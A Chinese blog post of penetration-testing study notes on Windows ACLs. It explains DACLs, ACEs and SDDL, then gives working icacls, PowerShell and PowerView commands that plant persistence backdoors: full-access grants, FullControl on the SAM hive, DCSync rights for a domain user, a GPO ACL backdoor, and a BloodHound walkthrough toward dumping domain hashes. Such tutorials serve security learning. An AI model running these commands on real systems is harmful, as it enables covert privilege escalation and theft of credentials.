Windows下的Access Control List

前言:对之前的https://www.cnblogs.com/zpchcbd/p/12374668.html再进行学习一次

参考文章:https://3gstudent.github.io/3gstudent.github.io/渗透技巧-Windows下的Access-Control-List/
参考文章:https://xz.aliyun.com/t/7724#toc-9
参考文章:https://www.freebuf.com/sectool/179002.html

ACL的介绍:

ACL:Access Control List,用来表示用户(组)权限的列表,包括DACL和SACL

ACE:Access Control Entry,ACL中的元素

DACL:Discretionary Access Control List,用来表示安全对象权限的列表

SACL:System Access Control List,用来记录对安全对象访问的日志

如何理解?

ACE:可以理解 当前安全对象的限制,一个用户/用户组对该安全对象的 是否可读 是否可写,那么此时ACE就是可读 可写这两个东西

DACL:可以理解对 当前安全对象的限制,比如 a用户/用户组对该安全对象的XXX权限 b用户/用户组对该安全对象的XXX权限,那么此时DACL则为两条数目

例如对某个文件进行访问,系统将做以下判断:

如果没有DACL,系统将允许访问,可以理解为任何的用户/用户组都没有限制,那么也就是什么都能干

如果存在DACL,但没有ACE,系统将拒绝所有访问 可以理解为存在对a用户/用户组的限制,但是没有ACE,也就是不允许任何操作,那么也就是什么都不能干

如果存在DACL,也存在ACE,那么会按照每个ACE指定允许或拒绝 可以理解为存在对a用户/用户组的限制,但是有ACE,也就是对应的ACE都可以进行操作,不存在的ACE则不可以进行操作

还需要知道的:ACE并不是单方面的允许/拒绝,允许和拒绝的权限都可以由ACE来进行表示,所以ACE还可以细分:

1、谁对你有权限
2、是允许还是拒绝
3、有什么权限
4、这个权限能不能被继承

ACL的表现方式:

存储位置 nTSecurityDescriptor

存储格式 SDDL(Security Descriptor Definition Language)

SDDL(
      A; ACE类型(允许/拒绝/审核)
      CIID; ACE标志(继承和审核设置)
      GW; 权限(增量权限列表)
      00299570-246d-11d0-a768-00aa006e0529; 对象类型(GUID)
      ; 继承的对象类型(GUID)
      S-1-5-21-1812960810-2335050734-3517558805-1103 受托人SID
)

拿上面的讲下,查询了A用户的nTSecurityDescriptor,SDDL为如上,其中最后一个是委托人SID,一般这个都是指向其他用户的,比如B用户,那么这条SDDL表示 B用户对A用户有00299570-246d-11d0-a768-00aa006e0529的权限,00299570-246d-11d0-a768-00aa006e0529实际上的权限是能够强制修改密码,那么相当于B用户就能控制A用户

哪里会用到ACL:

Windows访问控制模型中会用到ACL,比如文件、注册表的权限都包括ACL,用来表示哪些用户(组)具有操作权限

如何查看文件、注册表的权限对应的ACL:

这里就需要用到icacls了,这个工具是windows自带的

注:(OI)代表对象继承 (CI)代表容器继承 (F)代表完全访问

1、添加用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限(添加后门利器)

icacls C:\Windows\SYSVOL\sysvol\test.com /grant test1:(OI)(CI)(F) /t

2、备份指定文件(包括当前目录及其子目录中的文件)的ACL

icacls C:\Windows\SYSVOL\sysvol\test.com /save AclFile /t

3、还原指定文件(包括当前目录及其子目录中的文件)的ACL

这里需要注意的细节: 还原时,路径需要设置为上级目录

icacls C:\Windows\SYSVOL\sysvol\ /restore AclFile /t

4、移除用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限

icacls C:\Windows\SYSVOL\sysvol\test.com /remove test1 /t

非域的环境下,ACL可以如何利用?

权限维持:添加普通用户的完全访问权限,作为提权后门

1、比如一些需要高权限才能进行dll劫持的文件夹,比如Google的更新程序,来到更新程序的目录下进行设置权限

icacls Update /grant everyone:f

2、注册表的利用,正常高权限才能导出sam数据库进行解密获取hash值,权限维持也可以在这方面下手

$acl = Get-Acl HKLM:\SAM
$person = [System.Security.Principal.NTAccount]"apache"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl HKLM:\SAM $acl

3、注册表/路径的ACL利用,正常高权限的启动项才能写,权限维持也可以在这方面下手

域环境下,ACL可以如何利用?

域和ACL的关系图如下:

1、DCSync后门

使用的是PowerView脚本

添加ACL Add-DomainObjectAcl -TargetIdentity "DC=pentest,DC=God" -PrincipalIdentity yuyonghu01 -Rights DCSync

删除ACL Remove-DomainObjectAcl -TargetIdentity "DC=pentest,DC=God" -PrincipalIdentity yuyonghu01 -Rights DCSync

添加完ACL可以可以进行查看指定用户的DACL,看看是怎么样的,多了三个DACL!

2、在域控中添加GPO后门,也就是对对应的组策略的编号ScheduledTasks.xml的command标签内容进行修改,到时候域中的机器进行自动更新组策略的时候会应用

该GroupPolicy模块自己发现只有在域控中有,其他域机器默认是没有的

Import-Module GroupPolicy
Get-GPO -All

添加用户test1对TestGPO的完全访问权限

$RawObject = Get-DomainGPO -Raw -Identity 'TestGPO' #这里填写你的创建的组策略的名称
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right #这里填写你的用户名
AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

查看DACL可以发现如下:

3、ACL配置不当造成的域提权

4、创建ntds.dit的文件共享,添加ACL,后续可以使用域内普通用户访问域控制器的ntds.dit文件,读取域内所有用户的hash

域中BloodHound的使用:

用来采集域内ACL的工具:https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe

采集完之后可以导入BloodHound进行分析

我这里把SharpHound.exe放入一台普通的域机器中

程序是需要.net支持的,2012的机器上自带.net4.0

执行:SharpHound.exe -c all

将生成的文件下载到本地,打开BloodHound进行导入操作

拿起刚才我们给yuyonghu01设置的DCSync的权限,我们可以在BloodHound中观察到

那么之后就可以继续定位到yuyonghu01的机器,对当前该机器进行攻击拿下之后凭借DCSync的权限导出域哈希!

posted @ 2020-05-21 18:41  zpchcbd  阅读(1066)  评论(0编辑  收藏  举报